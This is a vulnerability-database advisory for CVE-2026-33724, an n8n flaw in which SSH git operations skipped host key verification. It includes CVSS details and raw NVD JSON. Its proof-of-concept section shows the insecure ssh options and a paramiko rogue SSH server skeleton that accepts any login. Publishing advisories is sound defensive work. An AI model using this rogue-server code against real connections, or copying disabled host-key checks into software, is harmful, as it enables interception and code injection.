Security Vulnerability Report
中文
CVE-2026-33724 CVSS 7.4 HIGH

CVE-2026-33724

Published: 2026-03-25 19:16:51
Last Modified: 2026-03-27 19:32:04

Description

n8n is an open source workflow automation platform. Prior to version 2.5.0, when the Source Control feature is configured to use SSH, the SSH command used for git operations explicitly disabled host key verification. A network attacker positioned between the n8n instance and the remote Git server could intercept the connection and present a fraudulent host key, potentially injecting malicious content into workflows or intercepting repository data. This issue only affects instances where the Source Control feature has been explicitly enabled and configured to use SSH (non-default). The issue has been fixed in n8n version 2.5.0. Users should upgrade to this version or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Disable the Source Control feature if it is not actively required, and/or restrict network access to ensure the n8n instance communicates with the Git server only over trusted, controlled network paths. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
n8n < 2.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept: Demonstration of the vulnerable SSH command behavior # In n8n < 2.5.0, the system would effectively execute a git command similar to this: import subprocess # This simulates how the vulnerable command ignores host key verification vulnerable_command = [ "git", "-c", "core.sshCommand=ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null", "pull", "origin", "master" ] print("Simulating vulnerable git pull operation without host key checking...") # subprocess.run(vulnerable_command) # Actual execution commented out for safety # To exploit this, an attacker would set up a rogue SSH server (Man-in-the-Middle). # Below is a Python script using paramiko to simulate a rogue server accepting the connection. import socket import paramiko import threading # Generate a test key for the rogue server: `ssh-keygen -f test_rsa.key -t rsa -N ''` HOST_KEY = paramiko.RSAKey(filename='test_rsa.key') class RogueSSHServer(paramiko.ServerInterface): def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): # Accept any authentication attempt to simulate the exploit return paramiko.AUTH_SUCCESSFUL def start_rogue_server(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 2222)) sock.listen(100) print('[+] Rogue SSH server listening on port 2222...') client, addr = sock.accept() print(f'[+] Connection intercepted from: {addr}') t = paramiko.Transport(client) t.add_server_key(HOST_KEY) server = RogueSSHServer() try: t.start_server(server=server) except Exception as e: print(f'[-] Server start failed: {e}') # In a real attack scenario, the attacker would also need to handle the git protocol # to serve malicious commits or capture pushed data. # start_rogue_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33724", "sourceIdentifier": "[email protected]", "published": "2026-03-25T19:16:51.323", "lastModified": "2026-03-27T19:32:03.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Prior to version 2.5.0, when the Source Control feature is configured to use SSH, the SSH command used for git operations explicitly disabled host key verification. A network attacker positioned between the n8n instance and the remote Git server could intercept the connection and present a fraudulent host key, potentially injecting malicious content into workflows or intercepting repository data. This issue only affects instances where the Source Control feature has been explicitly enabled and configured to use SSH (non-default). The issue has been fixed in n8n version 2.5.0. Users should upgrade to this version or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Disable the Source Control feature if it is not actively required, and/or restrict network access to ensure the n8n instance communicates with the Git server only over trusted, controlled network paths. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures."}, {"lang": "es", "value": "n8n es una plataforma de automatización de flujos de trabajo de código abierto. Antes de la versión 2.5.0, cuando la característica de Control de Código Fuente está configurada para usar SSH, el comando SSH utilizado para las operaciones de git deshabilitaba explícitamente la verificación de la clave de host. Un atacante de red posicionado entre la instancia de n8n y el servidor Git remoto podría interceptar la conexión y presentar una clave de host fraudulenta, inyectando potencialmente contenido malicioso en los flujos de trabajo o interceptando datos del repositorio. Este problema solo afecta a las instancias donde la característica de Control de Código Fuente ha sido explícitamente habilitada y configurada para usar SSH (no predeterminada). El problema ha sido solucionado en la versión 2.5.0 de n8n. Los usuarios deben actualizar a esta versión o posterior para remediar la vulnerabilidad. Si la actualización no es posible de inmediato, los administradores deben considerar las siguientes mitigaciones temporales: Deshabilitar la característica de Control de Código Fuente si no es activamente requerida, y/o restringir el acceso a la red para asegurar que la instancia de n8n se comunique con el servidor Git solo a través de rutas de red confiables y controladas. Estas soluciones provisionales no remedian completamente el riesgo y solo deben usarse como medidas de mitigación a corto plazo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-6 ... (truncated)